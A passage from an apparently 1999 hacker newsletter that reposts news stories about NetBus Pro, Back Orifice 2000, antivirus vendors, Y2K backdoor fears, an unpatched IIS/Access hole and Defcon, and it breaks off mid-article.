      NetBus Pro - Remote Admin Shareware or Evil Tool 


      contributed by sprfish 
      NetBus is facing similar problems as Back Orifice from
      AntiVirus companies. NetBus, a $12 shareware program,
      is classified as a 'hacker tool' and is detected and
      removed by all of the major AntiVirus software makers.
      The authors of NetBus have contemplated suing the AV
      companies claiming that they are trying to protect their
      own remote administration programs while squashing the
      competition. 

      MSNBC     
      http://www.msnbc.com/news/290766.asp
      
      
      NetBus maker to sue anti-virus firms?
      Back Orifice-like tool is removed by virus software; 
      authors say that’s hurting sales, and the tool’s legit
                                                          By Bob Sullivan
                                                                    MSNBC
      July 16 — While one “remote administration tool,”
      Back Orifice, stole headlines last week, authors of
      the another well-known back-door program,
      NetBus Pro, were gearing up to sue for the right to
      sell it. Anti-virus software currently detects and
      removes NetBus, another program that lets
      intruders take control of a victim’s PC from
      anywhere on the Internet. NetBus Pro authors,
      who charge $12 for the product, say it’s a
      legitimate software tool. They might sue anti-virus
      vendors for interfering with their right to sell it
               
      IT’S A STICKY STORY. The first version of NetBus
      was a favorite among hackers — it even included easy ways
      to taunt victims, such as buttons to open and close a victim’s
      CD-ROM door.
             Earlier this year, author Carl-Fredrik Neikter came out
      with an updated version, which he said was redesigned to be
      used as a professional “remote administration tool.” And he
      started charging a $12 registration fee.
             But anti-virus software companies, noting that NetBus
      can still be used by hackers, treat the program like a virus.
      That makes NetBus and any anti-virus program incompatible,
      and NetBus Pro owners say that’s stifling their sales. Even
      worse, according to Neikter’s partner Judson Spence, it’s
      anti-competitive — he says the anti-virus companies are
      squelching his product because it’s competition for their
      remote administration software. Symantec, which makes
      Norton’s AntiVirus Utility, sells remote administration tool
      PC Anywhere for $159.
             “On its face, it looks like a good case,” said attorney
      Mark Rubin, who has been retained my NetBus. 
             “The product belongs to a corporation. It’s designed to
      do a function. You’ve got another business telling people,
      ‘You can’t use that product’ ... You’ve got Symantec saying
      you shouldn’t use NetBus Pro. That’s the classic definition of
      an anti-competitive act.”
             Members of the Cult of the Dead Cow, which authored
      Back Orifice, agree with Rubin’s premise. Back Orifice is
      also removed by anti-virus programs.
             “It’s a huge problem for anybody who wants to use our
      product legitimately that they have to
             completely disable their AV software to use BO2K,”
      said a member calling himself Tweety Fish. 
             “We’ve talked about suing them, but since our product is
      free, and we gain no income from what we do, the legal fees
      would probably be prohibitive. From what we can tell, we
      would have a pretty good case.” 
    



             Anti-virus companies say while this might be an
      interesting intellectual debate, it would be a silly court case.
      NetBus is a hacking tool, they say, designed to run on
      victims’ machines without their knowledge. The lawsuit
      would be frivolous, as it would be difficult to persuade a judge
      that NetBus is a legitimate software product.
             “Our policy would be if they were to release a version
      which very clearly identifies itself as NetBus every time it
      ran, then we would not detect that,” said Stephen Trilling,
      director of research at Symantec’s Antivirus Research
      Center. Further, he said, Norton users are given an option
      when NetBus is detected — they can leave the software on
      their machine. 
             He denied Symantec would ever consider using
      Norton’s AntiVirus program to disable a competitive product.
      “We’re in the business of protecting customers,” he said. 

    


             The issue does have some shades of gray — when
      NetBus was released in February, Data Fellows’ F-Secure
      product initially didn’t detect the new NetBus, deferring to
      the notion it was a commercial product. But later, after
      customers complained, NetBus detection was added.
             “Net administrators I know would get fired for using
      NetBus,” said Dan Takata, spokesman for Data Fellows. “It
      can be used for good, but it’s inherently a hacker program.”
             That’s just not so, complains Spence, who says more
      than 700,000 copies of the program have been downloaded,
      and about 2,000 people have registered copies of the
      program. He says several corporations, and even the U.S.
      Air Force, are interested in using NetBus as an administration
      tool.
             “I’m optimistic that once we raise the issue, legal
      departments [at AV companies] will act,” says Rubin.
      “Every day this costs money to NetBus Pro.”
              

     @HWA
     
 04.0 Spreading Viruses Equal A Terrorist Attack 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

      From HNN http://www.hackernews.com/
        
      contributed by nvirB 
      Andre Gauthier, chairman of the Information Technology
      Association of Canada thinks that people who create
      and or spread viruses should be treated as terrorists
      and should have stiffer penalties applied to them. The
      ITAC recently requested the Canadian government
      increase the penalties for these types of crimes. 

      Edmonton Journal     
      http://www.edmontonjournal.com/technology/stories/990716/2615262.html
      
      
      Get tough on computer-virus makers,
      Ottawa told
      Rogue programs that play havoc with computer
      files seen as equivalent to a terrorist attack

      Philip Demont
      Southam Newspapers; Southam News 

      Ottawa has to get tougher with hackers who send
      file-destroying computer viruses over the Internet, the
      industry association representing Canada's computer
      industry said Thursday. 

      The mischievous makers who devise programs that
      destroy corporate computer files and cause entire
      high-tech systems to collapse are getting away with a
      slap on the wrist for a crime that is costing the
      Canadian economy millions annually, said Andre
      Gauthier, chair of the Information Technology
      Association of Canada and senior vice-president of LGS
      Group Inc. 

      "Too many people consider these things as funny. But
      sending a virus is just like launching a terrorist attack
      on a company," Gauthier said. 

      ITAC, which represents 1,300 Canadian software and
      hardware companies, sent a letter Thursday to federal
      Justice Minister Anne McLellan asking her to increase
      the penalties for this kind of crime and to work more
      closely with other law enforcement agencies globally to
      track down virus makers. 

      Over the past several months, the Chernobyl, Melissa
      and Worm-Explore.Zip viruses made headlines
      internationally as they attacked the computer systems
      of corporations and government agencies in many
      countries. 

      Viruses are programs that enter a computer system
      through the e-mail or other external links and then
      cause havoc in the network, everything from exploding
      fireworks on a person's computer screen to the
      elimination of stored files on the system's hard drive. 

      In many cases, these hackers are people who enjoy
      the intellectual challenge of writing. In other situations,
      they are only after the publicity these viruses can
      receive, causing people to treat these crimes as less
      dangerous. 

      "But (in the information age), a crime no longer requires
      a .45-calibre Magnum. We have to deal with these
      things in a far more serious manner. They do a lot of
      damage," said Robert Lendvai, vice-president of
      marketing at OLAP@Home Inc., an Ottawa-based
      software programmer. 

      For instance, one Ottawa public relations firm had to
      close its doors for one day to repair the damage from
      the Melissa virus, he said. 

      ITAC's Gauthier figured Canadian corporations and
      governments lose $100 million annually because of
      these computer bugs. That figure was extrapolated
      from the $1-billion US loss estimated to American
      corporations derived from an earlier U.S. study. 

      Companies are getting help in the form of more
      sophisticated virus detection programs, now "a basic
      protection" for any smart firm, said David Lynch,
      vice-president of sales and marketing of KyberPASS
      Corp., an Ottawa-based electronic commerce software
      maker. 

      These detection programs generally work by looking for
      indicators within a corporate computer system that
      change for an unexplained reason. In that case, the
      program will send a warning that you may have a
      problem. 

      "But viruses are always going to be with us," he said. 

      KyberPASS was hit by three viruses in the past year,
      two of which entered the system through the
      company's e-mail and one when someone in the
      corporation downloaded an outside file, Lynch said. 

      "It's computer vandalism. Some of it is paint on the
      walls. And some is like throwing eggs at the door," he
      said. 

      @HWA
      

05.0 Y2K Bug Fixes May Cause Other Problems       
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
      
      From HNN http://www.hackernews.com/
     
      contributed by Code Kid 
      Sure, the programmers who are busy patching up old
      Cobal code to correct the massive Y2K problem may
      leave in their own backdoors. Of course that is possible
      but how widespread is this problem really? Is the claim
      of $1 Billion dollars lost accurate or just FUD? I guess
      there is no way to really know for sure. 

      MSNBC
      http://www.msnbc.com/news/290746.asp
      
      
      More fud and sensationalism....;
      
      Beware the millennium bug repair
      The people hired to root out the Y2K bug could give themselves
      the keys to billions of corporate dollars
                                                           By Jim Miklaszewski
                                                        NBC NEWS CORRESPONDENT

      WASHINGTON, July 16 — Security experts believe that
      computer fraud, linked directly to the so-called
      Year 2000 computer bug, will cost America’s big
      business big money. In fact, one firm predicts that
      in a single computer theft, some American
      business will lose $1 billion. It could potentially be
      the biggest corporate heist in world history
               
      “CLEARLY, SOMEONE is going to be hit on their
      balance sheet pretty hard,” said Bob Mack, vice president of
      the Gartner Group.
             Ironically, the companies themselves may be hiring these
      potential computer crooks without even knowing it. Most
      major firms are using outside consultants to rid their computer
      systems of any potential Y2K bugs.
             But to do that, these consultants are given access to the
      companies deepest, darkest, most sensitive computer secrets
      and codes — leaving the companies and their computers
      wide open to theft.
             “They have to have access to your most critical
      systems. You’re essentially giving them the keys to the
      kingdom,” said Ira Winkler, chief of the president’s Security
      Advisors Group. 


             The consultants, it’s feared, can insert their own codes
      into a company computer — trapdoors — that would permit
      them to hack back into the system at will.
             “They’re inserting malicious activity, if you will, into the
      code that will allow them to do things that the code was
      never allowed to do,” said Mike Higgins, of Para-Protect
      Services, of Alexandria, Va.
             Once inside, the computer thieves could electronically
      steal money or the companies’ latest trade secrets, be it the
      latest cure for cancer or design for a new sneakers,
      potentially worth billions of dollars.
             “Why do people hack into computers today in the
      business world?,” Higgins said. “Because that’s where the
      money is.” And global financial systems are largely
      electronically connected now, and the interconnection is only
      expected to increase. 
             “Y2K remediation, by definition, creates and increases
      the opportunity for theft and fraud,” said Joe Pucciarelli, a
      Gartner analyst, in a statement on the company’s advisory. 
      Advertisement



             “Given the enormity of the Y2K task, the vast number of
      people assigned to fix the problem, and the element of human
      foibles, at least one significant theft is likely to occur in the
      next five years,” Pucciarelli said. 
             Corporations must keep a close eye on staffers and
      consultants working on Y2K projects, said Bob Mack,
      another Gartner analyst, in an interview. 
             “The point we’re making is that there are things
      corporations can do to limit fraud,” Mack said. All Y2K
      bug-fixing efforts should be audited by third parties if
      possible, and detailed records should be kept on all Y2K
      projects. 

             Once planted, these back doors could go undetected
      forever — leaving some companies vulnerable long after the
      Y2K New Year’s celebration.
             
             Mario Seminerio of ZDNN contributed to this report.
             
             
      @HWA
      
             
06.0 Security Fears are Slowing UK E-Commerce 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
    
      From HNN http://www.hackernews.com/
      
      contributed by Weld Pond 
      Fears over the lack of security on the internet is slowing
      the progression of e-commerce in the UK said attendees
      of TheEcademy an advisory group to the British
      government. This groups feels that these fears over the
      lack of security on the net are unfounded and
      misplaced. One attendee was quoted as saying "There is
      no security problem." What world do these guys live on?

      Tech Web 
      http://www.techweb.com/wire/story/TWB19990716S0018
      
      Scary Security Stories Hinder
      E-Commerce
      (07/16/99, 4:06 p.m. ET)
      By Madeleine Acey, TechWeb 

      LONDON -- Unwarranted hype over the
      security risks of e-commerce has led to
      misplaced fear about setting up in Internet
      business. 

      This was the view of IT vendors, analysts, and lawyers
      who gathered in London on Thursday to create an
      advisory document for the U.K. government on how to
      spur reluctant British businesses into e-commerce. 

      The 50-member group, all part of TheEcademy -- an
      e-commerce education forum, also said regulation would
      be an inhibitor and had already held back progress. 

      "There is no security problem," said Frederick Wilson of
      Lloyds TSB banking group. "There's only one problem --
      people don't understand. We have to convince customers
      it is secure." 

      Other delegates said people let technophobia cloud the
      issue and needed to realize e-commerce was no more
      insecure than any other type of business. "All the
      security and payment issues we have, have always
      existed in business," said one. "How secure is your shop
      or your head office?" said another. EDI works globally
      and has been around for years without issues, a third
      pointed out. 

      Microsoft U.K. e-commerce business manager Peter
      Bell said Visa was the "biggest proponent" of scare
      stories. "They say there's 45 percent fraud on the
      Internet," he said. 

      But online businesses like Expedia sold $1 million worth
      of travel tickets last year without one security incident,
      said Durlacher European Internet Analyst Sarah Skinner.

      A show of hands found most of the group felt the U.K.
      telecom industry and its regulation -- or lack of regulation
      -- was holding back e-commerce. 

      Bell said British Telecommunications' contracts only let
      customers run data at 64K over their lines. "People
      should ignore it, let BT sue you," he said. 

      Government regulation is supposed to ensure the
      near-monopoly BT operates fairly. 

      Many agreed e-commerce worked best when
      governments didn't try to legislate for it. "Our objective
      would be to take as much regulation out of the equation
      as possible," said TheEcademy chairman Thomas Power.

      Russell Loarridge suggested the government publish a
      code of practice to prevent spamming -- people would
      only receive marketing e-mail if requested. Another
      delegate said the EU - led by a British Labor politician --
      had already voted for the opposite. 

      The group agreed the IT industry was partly to blame for
      resistance to e-commerce as it used language that was
      alien to many businesses. 

      They said the success stories -- and how they were
      achieved -- should be publicized to counteract the fear of
      credit card details being stolen, payments not being made,
      and systems falling over. 

      "We need people with the business experience to be
      visionaries to encourage the same sort of transition [as
      when businesses first moved from manual processes to
      computer systems]," one member of the discussion forum
      said. 

      "People want to know, how has someone else done it,"
      another offered, suggesting TheEcademy publish
      boilerplate guides to adopting e-commerce. 

      A working document would be produced from the
      group's meeting, Power said, and be presented to the
      Department of Trade and Industry.  

      @HWA
      
07.0 More Defc0n than you can shake three sticks at
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
     From HNN http://www.hackernews.com/ 
     
     Forbes:http://www.forbes.com/tool/html/99/jul/0716/feat2.htm
     
      Defcon Live! 

      By Adam L. Penenberg 

           ildog, a member of the hacker group Cult
           of the Dead Cow, is lounging in his hotel
           suite, a smile smeared on his face. Being
           Las Vegas in July, the temperature outside
      is 100 degrees, but Dildog is air-conditioned
      cool. The unveiling of his latest software
      upgrade for Back Orifice--a not-so-subtle dig
      at Microsoft's Back Office--was a success, a
      raucous party that had more in common with a
      heavy metal concert than a software release. 

      A gaggle of groupies, most of them in their
      twenties and dressed in noir black, with
      tattoos, piercings and scraggly hair, wait for
      him. They sit cross-legged on the carpet,
      availing themselves to a well-stocked minibar
      piled high with bottles of vodka, bourbon,
      whiskey. 


            Cult of the Dead kicked off
              the conference with a
           laser-light show, culminating
             in a deafening electronic
                    moo sound. 



      Of the 3,000 hackers, crackers, geeks, "scene
      whores" (hacker groupies), computer security
      professionals, journalists, undercover cops and
      federal agents who attended this year's Defcon
      hacker convention, 2,000 of them crammed
      into a conference room at the Alexis Park Hotel
      to watch the "BO2K" release. Last year, Cult of
      the Dead Cow had chosen Defcon to release
      the first version of its Back Orifice. Written by
      fellow Cult member Sir Dystic, it works on
      Windows 95 and 98 machines by secretly
      creating a backdoor so that a remote user can
      control all functions on those computer. The
      upgrade Dildog coded is designed to work with
      networks that run on Windows NT, and it hides
      itself extremely well. 

      While software makers, computer security
      companies, antivirus makers and law
      enforcement say the release of BO2K is just a
      way for hackers to legitimize illegal computer
      intrusions, Dildog claims he is just trying to
      point out potential problems with Microsoft's
      software. Computer security companies are
      "afraid to admit that their detection system is
      horribly and possibly irreparably flawed," he
      says. "[They] give people the impression their
      software 'raises the bar' against the average
      hacker. Unfortunately, this also fools people
      with really critical networks into thinking that
      this software is sufficient to protect them.
      People trusting this stuff to protect them from
      Trojan horses are in for a surprise." 

      Cult of the Dead Cow members didn't come all
      the way to Las Vegas to disappoint, and they
      didn't. They kicked off the conference with a
      laser-light show, culminating in a deafening
      electronic moo sound. The crowd roared. Then,
      while Dildog and his associates explained their
      don't-blame-us-if-Microsoft-products-suck
      philosophy, a CD-ROM label was projected on
      the wall behind them, a cow head spinning and
      spinning. 

      At the end of the presentation, Cult members
      flung some two dozen CD-ROMS containing the
      Back Orifice update. The crowd surged forward.
      Antivirus makers and computer security
      company reps watched closely, hoping to later
      corral someone with a copy. The first one to
      crack the program would win bragging rights,
      their names in a press release, perhaps even a
      mention in some magazine or newspaper
      articles as heros who thwarted the evil
      intentions of the Cult of the Dead Cow hacker
      gang. 
      
      
           n employee of ISS, the big-time
           computer-security company based in
           Atlanta, Ga. threw himself into the mob
           and somehow snagged a copy. Within 24
      hours, the company would crack parts of the
      program and release an application that could
      identify it. 

      At the time, Dildog didn't know this, and even if
      he had he wouldn't have cared. In an earlier
      Internet conversation, an ISS employee
      approached him and asked how much of a bribe
      it would take for him to pass the company an
      advance copy of the software, he claims. As a
      joke, the Cult sent back a note saying it would
      take $1 million and a monster truck, the idea
      they ostensibly got from "Hack Heaven," the
      sham article written by former New Republic
      associate editor Stephen Glass. ISS denies the
      company ever offered money for the software. 


            Some hackers thought the
              spectacle undermined
          Dildog's credibility and made
                him look arrogant. 



      Although ISS has been more than happy to
      play up the fact that it can detect the
      software, Dildog says he fully expected that
      companies would not only reverse engineer it,
      they would soon come up with a removal tool.
      That is why he released his software as "open
      source." That means hackers the world over
      can tweak the code to suit their needs. 

      For every new version that hits the Net,
      computer security companies will have to
      create new ways to counter it. Although
      antivirus makers have been pretty good at
      picking up polymorphic versions of the same
      program, it will be interesting to see what the
      overall impact of BO2K will be. Often, network
      administrators forget to apply the latest
      versions of antivirus software, or incorrectly
      configure parts of their network, leading to
      holes that would enable BO2K to fester. 

      Already, BO2K has made it on to some hacker
      sites, bugs and all. Some users say the
      program has a tendency to crash and some
      files were improperly coded. But in the next
      couple of weeks or so, Cult of the Dead Cow
      plans to fix any glitches and post the new and
      improved program on its web site. From
      previous experience, Dildog knows that BO2K
      will then spread like a virus, morphing into
      perhaps dozens of different versions. 

      The group claims it counted more than 300,000
      downloads of the original Back Orifice, which
      ran solely on Windows 95 and 98 and was
      spread primarily by E-mail attachment. Who
      knows how many other copies were spread
      friend to friend, hacker to hacker, "cracker" to
      victim? 

      Back in his hotel suite, Dildog's cool is slightly
      interrupted. When told some hackers who had
      attended his BO2K launch thought the
      spectacle undermined his credibility and made
      him look arrogant, he sniffed, "I never said I
      wasn't arrogant. Besides, why shouldn't every
      software release be like a rock concert?" 
 
     
      (Though Mirco$crap did that in their presentations? - Ed)
      
      @HWA
      
08.0  How to Look Like a Hacker
      ~~~~~~~~~~~~~~~~~~~~~~~~~  
 
      From HNN http://www.hackernews.com/ 

      contributed by Weld Pond 
      Some cool pictures in a rather mainstream place that
      attempts to cover what it thinks is Hacker Fashion.
      There are pictures from Defcon of Sir Dystic, Dark
      Tangent, Niki, Redrasta, Dr. Byte, and the whole cDc
      crew. Pity they missed my blue hair. 

      Las Vegas Weekly    
      http://www.lasvegasweekly.com/departments/07_14_99/fashion_defcon.html
      
      
      How to be a hacker ...
      or at least look like one

      Written and photographed by Anonymous 

      I confess. In my younger daze I was a hacker. It was easier
      then. We worked on paper terminals that we accessed by
      sneaking into a local university library. We'd change grades,
      write stupid little programs and screw things up. We really
      didn't know what rules we were breaking. At that time,
      neither did the authorities. 

      Today's hackers are a different lot. They are really savvy
      about the rules and how the game is played. Depending
      upon your own definition of evil, they are either on the dark
      side or the good side. It's a perfect yin yang. 

      Wondering what today's generation of hackers looked like I
      went down to Defcon VII held last weekend here in Vegas.
      What I saw didn't surprise me. In fact it scared me. The
      following is a checklist on how to at least pretend you're a
      hacker. 

        -  Black t-shirts with esoteric statements, or corporate
        -  logos (but only if the shirt is free), or those
           oh-so-comfy thrift-store clothes. 
        -  Black t-shirts with esoteric statements, or corporate
           logos (but only if the shirt is free), or those
           oh-so-comfy thrift-store clothes.
        -  Sunglasses to protect your eyes against that big
        -  bright yellow thing that is in the sky during what is
           called "daylight hours". 
        -  Black tribal tatoos to contrast against your skin made
        -  pasty white from years of not going out into the sun. 
        -  A proper diet of pizza, beer, cigarettes and loads of
           caffeine. 
        -  A cold hard stare for anyone trying to take your
           picture because you're trying to remain anonymous
           even though the authorities who would be interested
           in your picture already have really good snapshots of
           you. A quick draw to cover your face is also
           necessary. 
        -  Strange jewelry, shoes, and backpacks. 
        -  Icons of the dead and almost dead. 
        -  That retro 20th century look. 
        -  Anything that makes Bill Gates look like the devil. 
        -  Come up with a cool cyber name like Death Veggy. 
      
      @HWA

09.0 AV Vendors Still Scrambling Over BO2K 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



      contributed by Space Rogue 
      Everyone wants a piece of the Anti BO2K press pie.
      Both Aladdin Knowledge Systems and BindView
      Development have announced products that claim to
      protect users from the malicious use of Back Orifice
      2000. The BindView product looks like nothing more than
      a signature ID program, useless against an open source
      application such as BO2K. The Aladdin product actually
      looks interesting claiming to trap BO2K and other
      malicious email attachments in a 'sandbox' and detecting
      attempts to modify system files. This method should
      protect against the numerous mutations that will
      undoubtedly appear. 

      Excite News - BindView
      http://news.excite.com/news/bw/990715/tx-bindview
      
      BindView Development - BO2K Advisory 
      http://www.bindview.com/security/advisory/bo2K.html

      Excite News - Aladdin
      http://news.excite.com/news/bw/990713/wa-aladdin-knowledge
      
      eSafe - Aladdin's Security Product 
      http://www.esafe.com/

10.0 The Back Orifice 2000 Controversy
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      Reprinted from HNN's Buffer Overflow with Eric's kind permission. 

      By: Eric Ruppenthal

      Symantec, producers of Norton Anti-virus, along with many other
      anti-virus producing companies announced recently that it was
      classifying Back Orifice 2000 as a Trojan and or virus. This is a
      concerted effort to bar the competition of Cult of the Dead Cow in the
      network administration tool field. By using their anti-virus programs
      to keep computer users from using BO2K, these companies are
      engaging in unfair business tactics to keep a legitimate program
      from stealing the profits of their network administration tool
      programs. This creates a serious anti-trust problem. 

      Back Orifice 2000 was produced by Cult of the Dead Cow (cDc) as an
      actual legitimate tool to be used to remotely administer Microsoft OS
      computer networks. It was introduced in Las Vegas on July 11, at
      DefCon 7. Since its official release to the public on July 14, every
      effort has been made to define this program not as a evil tool, but
      as something to be used in the real world of business. The program
      is free to any U.S. citizen who plans no exportation of it because of
      the encryption contained in the program. 

      Many of the companies that produce anti-virus programs also deal in
      the network administration tool arena. The applications these
      companies produce are similar in functionality to BO2K with the
      difference being cDc offers their program free of charge. The
      companies see this factor as having the potential to seriously
      undermine their profit margins. So what do they do? They use a
      commonplace tool to remove this program as a threat; knowing full
      well that millions of computer systems in this country run anti-virus
      programs, including the networks this tool could be used on. They
      use this to their advantage by having it detect and label BO2K as a
      virus. This blatant attempt at monopolizing the network admin field
      thus blocks most attempts by any network administrator from using
      BO2K in a legitimate capacity without having to compromise virus
      protection. 

      Symantec produces a program called PcAnywhere. Another company
      that is a close ally of Symantec is Microsoft. Microsoft is currently
      involved in a government anti-trust suit. Microsoft also makes a
      network administration tool called Systems Management Server that
      is integrated within the Microsoft BackOffice Suite. BO2K uses a little
      known hole that Microsoft deliberately placed in its OS source code to
      run in a stealth mode. Many of the enterprise management tools
      such as SMS from Microsoft do stealth remote control. Read the
      comparison of BO2K, Norton's PcAnywhere and Compaq's Carbon
      Copy 32 at http://www.bo2k.com/comparison.html 

      They all have a silent install option and they all have silent remote
      control. SMS even has a configurator much like the BO2K wizard to
      configure the agent before sending it to the target machine. The
      technology of stealth monitoring and control was there way before
      BO2K. But these companies would have you believe that BO2K is the
      only tool inherently destructive towards computer systems because it
      is made by a well-known group of non-commercial programmers.
      What cDc has done is put it in everyones face and built a
      technologically superior solution that is free and open source. Any
      program has the potential to be misused. If there is a way for
      someone to exploit a hole in your computers defenses, it will be
      found. 

      Microsoft is fully aware of the problems associated with powerful
      remote administration. Their SMS administration software has similar
      problems, by their own admission. From their page describing SMS;
      http://www.microsoft.com/smsmgmt/techdetails/remote.asp "Security
      of all the operations that Systems Management Server allows you to
      do on a client, remote control is possibly the most dangerous in
      terms of security. Once an administrator is remote controlling a client,
      he has as many rights and access to that machine as if he were
      sitting at it. Added to this, there is also the possibility of carrying out
      a remote control session without the user at the client being aware of
      it." Microsoft's site goes on to say, "It is possible to configure a
      remote control from a state where there is never any visible or
      audible indication that a remote control session is under way. It has
      been made this flexible due to customer demands ranging from one
      end of the spectrum to the other. When configuring the options
      available in the Remote Tools Client Agent properties, due notice
      must also be taken of company policy and local laws about what level
      of unannounced and unacknowledged intrusion is permitted." 

      According to a press release by cDc, "In the past, Back Orifice has
      been used as a Trojan horse by script-kiddie crackers to annoy and
      sometimes harm Internet connected Windows machines. This is a
      fact of life with a tool that has the ability to be silently installed and
      can perform administration without end-user intervention. This,
      however, is not unique to Back Orifice. There are many Trojan horse
      programs out there, and many legitimate remote administration
      tools, that have the capability to perform quiet remote installations."
      Their statement goes on to say, "We have designed Back Orifice
      2000 to meet user demands and to provide the most powerful
      remote administration available for the Microsoft Windows platform.
      Many people don't like to see free software like Back Orifice being
      used in replacement for expensive commercial products. So, they
      throw around statements like 'the program is only a malicious tool',
      and 'It has no legitimate purpose. The Microsoft Crypto API claims to
      provide 'strong encryption'. Of course, if you don't have the source
      code, you can't verify that this is true. We aren't taking that chance.
      Back Orifice 2000 encryption is proven strong, and we're not afraid to
      show you exactly how it's implemented." 

      cDc has produced a program that is to be used in a legitimate
      business environment by a network administrator to aid in the
      administration of the computers they manage. They want you to
      know exactly how legit Back Orifice really is but these companies are
      trying to prevent this freely available tool from being released by
      using one of their own product line applications to suppress BO2K so
      that another of their products can flourish. Both Symantec and
      Microsoftís products stand to lose a good percentage of market
      shares if BO2K were allowed to be released free to the public and
      become a commonly used tool. All of these programs, not just BO2K,
      can be detrimental to any computer system if used in the wrong
      hands. BO2K must be given a chance to prove itself a legitimate tool
      and taken off the virus definitions lists. The open-source model has
      provided Back Orifice 2000 with a more than legitimate position in the
      industry and Back Orifice 2000 will grow to encompass all of the
      features of currently existing commercial remote administration tools.
      Says a member of cDc; "We're dedicated to empowering people with
      their technology." 

      Submitted by: Eric Ruppenthal
      HFactorX International Organization 

      
      @HWA
      
11.0 Year Old IIS Hole Still Causing Problems 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

      From HNN http://www.hackernews.com/

      contributed by Weld Pond 
      A major hole in IIS announced by Microsoft last year has
      still not been patched by most customers. Eight lines of
      code is all that is needed to take full control at the
      system level of major popular web sites. The problem is
      that under certain conditions a user can connect
      directly to MS Access through IIS which then of course
      gives the attacker full system privileges. 

      MSNBC
      http://www.msnbc.com/news/290621.asp
      
      Microsoft - Old
      http://www.microsoft.com/security/bulletins/ms98-004.asp
      
      Microsoft - New
      http://www.microsoft.com/security/bulletins/ms99-025.asp
      
      
      
      
      MSNBC;
      
      Year-old hole exposed big Web sites
      Compaq, Dell, Compuserve and others failed to heed
      Microsoft security warning and were left vulnerable
                                                              By Bob Sullivan
                                                                      MSNBC

               July 19 — A security expert was able to
               demonstrate major vulnerabilities in big-name
               Web sites last week, including Dell Computer
               Corp., Compaq Computer Corp., PSINet,
               Compuserve and Nasdaq-Amex. The
               vulnerability, which was demonstrated to
               MSNBC, was simple but potentially devastating.
               It required as few as eight lines of computer
               code but could have exposed personal
               information, including credit card numbers.
               

     THE HOLE WAS actually announced by Microsoft on
     July 17 of last year — confirming a long-held suspicion that
     even large-scale information technology departments are
     having a tough time keeping up with the work required to
     maintain Web site security.
            The cat-and-mouse nature of security means Microsoft
     and other software vendors regularly issue bulletins with
     “patches” to security holes, or “exploits,” found and
     announced by hackers. As such recipes for hacking into
     sites make their way quickly through the hacking
     community, Web site administrators must meticulously
     follow each bulletin. In this case, many sites did not. 
            “It’s one thing when there’s a problem” said Russ
     Cooper, who administers the popular NTBugTraq mailing
     list. Cooper publicized the flaw on his list Monday morning.
     “It’s another thing when companies know about something
     for a year and haven’t done anything.... These companies
     have just ignored Microsoft’s recommendation.” 
            The flaw was discovered a year ago, and Microsoft
     published a "fix” and added it to the security checklist for
     Windows NT administrators. (Microsoft is a partner in
     MSNBC.)
            A new flavor of the same problem was discovered last
     week by Greg Gonzalez, vice president of Web services at
     ITE Inc., which hosts several e-commerce sites. He says his
     discovery meant that a hacker could write a simple
     eight-line program and gain administrative access to Web
     sites running Microsoft’s Internet Information Server Web
     server software — with no user name or password
     required.
            Sites that followed Microsoft’s instructions from a year
     ago would have been immune, but Gonzalez said about half
     the sites he checked were vulnerable. 


            “With a lot of exploits you see ‘professional’ hackers
     writing code,” he said. “This exploit does not require
     anywhere near that level of expertise.”
            This morning, Microsoft re-issued its security alert
     about the problem “to serve as a reminder about this
     vulnerability, to restate the threat and encourage system
     administrators to evaluate their systems.” 
            At the center of the problem, according to Cooper, is
     lack of due dilligence on the part of some companies to
     protect consumers’ private information.
            “Lots of companies went to the trouble of putting
     together a privacy statement. That’s all well and good,” he
     said, “But if companies don’t have an effective way of
     dealing with patches, with problems, what good is a privacy
     statement?”
            The problem is much more complicated than that,
     according to the chief technology officer at one of the
     big-name Web sites that was discovered to be vulnerable. 
            “We get about 15-40 of these alerts every week,” the
     CTO, who asked not to be identified, told MSNBC.
     Despite staff who are dedicated to following up on security
     issues, lower-priority problems can slip through the cracks.
     “We’re not Fort Knox.... We rely on third parties to say
     whether they are yellow or red situations.” He says
     Microsoft downplayed the severity of the bug a year ago. 
            Several other companies impacted by this security flaw
     declined comment. Spokespersons for Compuserve and
     PSINet said no personal information is stored on their Web
     sites, so there was no real danger to consumers. Compaq
     would only confirm that its site had been vulnerable but said
     the hole was patched after Microsoft security experts
     contacted Compaq recently. A spokeman for Dell said
     personal information was not at risk because such data is
     password protected, encrypted, and stored “elsewhere on
     its site.” 


            “The net of it is when an issue arises, we need to be
     proactive to take care of our customers,”said Craig
     Beilinson, a product manager for Windows 2000 at
     Microsoft. 
            The security hole itself involves the use of Microsoft’s
     database product, Access, in combination with its Web
     server software, Internet Information Server (IIS). Instead
     of connecting to a Web page in the traditional manner, a
     malicious hacker can connect directly to the Access
     database. From there, the hacker by default gains “system
     privileges,” and using Visual Basic can execute any
     command the Web administrator could. That would include
     downloading a list of user names and passwords, and the
     ability to connect to any other computer which feeds
     information to the Web server — including a database of
     credit cards and other personal information.
            Gonzalez, who found the new method last week while
     testing his own site for vulnerabilities, said the largest
     e-commerce sites may have an added layer of security that
     would have prevented easy access to critical data such as
     card numbers — perhaps storing such numbers on a
     different network, behind another user name and password.
            “The top 10 e-commerce sites may or may not have an
     additional layer,” he said. “But there’s a zillion other sites
     that aren’t going to have additional layers in place.”
             

     @HWA
     
       
12.0 NCIC 2000 Now Online 
     ~~~~~~~~~~~~~~~~~~~~~
     
     From HNN http://www.hackernews.com/
     
      contributed by DaFed 
      The FBI has announced a major new initiative in fighting
      crime, the National Crime Information Center 2000. This
      new system replaces the original NCIC, at a cost of
      $183.2 million, which was used since 1967. The NCIC
      2000 indexes and cross references several different
      crime related databases such as those containing
      information on stolen guns, deported felons, missing
      persons and stolen vehicles. We sure hope that this
      version of NCIC is more secure than the last one. 

      CNN
      http://www.cnn.com/TECH/computing/9907/19/system.idg/index.html
      
      FBI turns on new
      crime-fighting system 

      July 19, 1999
      Web posted at: 2:22 p.m. EDT (1822 GMT)

      by Scott Tillett 
                                      From...
                                                     


      (IDG) -- FBI officials announced today that
      they have successfully rolled out a massive
